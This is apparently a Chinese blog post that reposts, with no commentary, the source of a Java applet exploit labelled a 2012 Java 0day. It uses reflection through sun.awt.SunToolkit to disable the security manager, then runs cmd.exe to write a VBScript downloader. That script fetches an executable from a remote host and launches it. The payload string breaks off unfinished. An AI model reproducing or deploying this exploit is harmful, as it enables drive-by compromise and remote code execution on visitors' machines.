AD

国人要雄起?——java 0day exp 马克

package cve2012_java_0day;


import java.applet.Applet;

import java.awt.Graphics;

import java.beans.Expression;

import java.beans.Statement;

import java.lang.reflect.Field;

import java.net.URL;

import java.security.*;

import java.security.cert.Certificate;


public class Gondvv extends Applet

{


    public Gondvv()

    {

    }


    public void disableSecurity()

        throws Throwable

    {

        Statement localStatement = new Statement(System.class, "setSecurityManager", new Object[1]);

        Permissions localPermissions = new Permissions();

        localPermissions.add(new AllPermission());

        ProtectionDomain localProtectionDomain = new ProtectionDomain(new CodeSource(new URL("file:///"), new Certificate[0]), localPermissions);

        AccessControlContext localAccessControlContext = new AccessControlContext(new ProtectionDomain[] {

            localProtectionDomain

        });

        SetField(Statement.class, "acc", localStatement, localAccessControlContext);

        localStatement.execute();

    }


    private Class GetClass(String paramString)

        throws Throwable

    {

        Object arrayOfObject[] = new Object[1];

        arrayOfObject[0] = paramString;

        Expression localExpression = new Expression(Class.class, "forName", arrayOfObject);

        localExpression.execute();

        return (Class)localExpression.getValue();

    }


    private void SetField(Class paramClass, String paramString, Object paramObject1, Object paramObject2)

        throws Throwable

    {

        Object arrayOfObject[] = new Object[2];

        arrayOfObject[0] = paramClass;

        arrayOfObject[1] = paramString;

        Expression localExpression = new Expression(GetClass("sun.awt.SunToolkit"), "getField", arrayOfObject);

        localExpression.execute();

        ((Field)localExpression.getValue()).set(paramObject1, paramObject2);

    }


    public void init()

    {

        try

        {

            disableSecurity();

            Process localProcess = null;

            String command="cmd.exe /c echo Const adTypeBinary = 1 > d:apsou.vbs & echo Const adSaveCreateOverWrite = 2 >> d:apsou.vbs & echo Dim BinaryStream >> d:apsou.vbs & echo Set BinaryStream = CreateObject("ADODB.Stream") >> d:apsou.vbs & echo BinaryStream.Type = adTypeBinary >> d:apsou.vbs & echo BinaryStream.Open >> d:apsou.vbs & echo BinaryStream.Write BinaryGetURL(Wscript.Arguments(0)) >> d:apsou.vbs & echo BinaryStream.SaveToFile Wscript.Arguments(1), adSaveCreateOverWrite >> d:apsou.vbs & echo Function BinaryGetURL(URL) >> d:apsou.vbs & echo Dim Http >> d:apsou.vbs & echo Set Http = CreateObject("WinHttp.WinHttpRequest.5.1") >> d:apsou.vbs & echo Http.Open "GET", URL, False >> d:apsou.vbs & echo Http.Send >> d:apsou.vbs & echo BinaryGetURL = Http.ResponseBody >> d:apsou.vbs & echo End Function >> d:apsou.vbs & echo Set shell = CreateObject("WScript.Shell") >> d:apsou.vbs & echo shell.Run "d:update.exe" >> d:apsou.vbs " +

            "& start d:apsou.vbs http://192.168.1.41/calc.exe d:windows1.exe

评论

此博客中的热门博文

简单粗暴导出小米便签

我——终于一个人了

多种方法绕过POWERSHELL的执行策略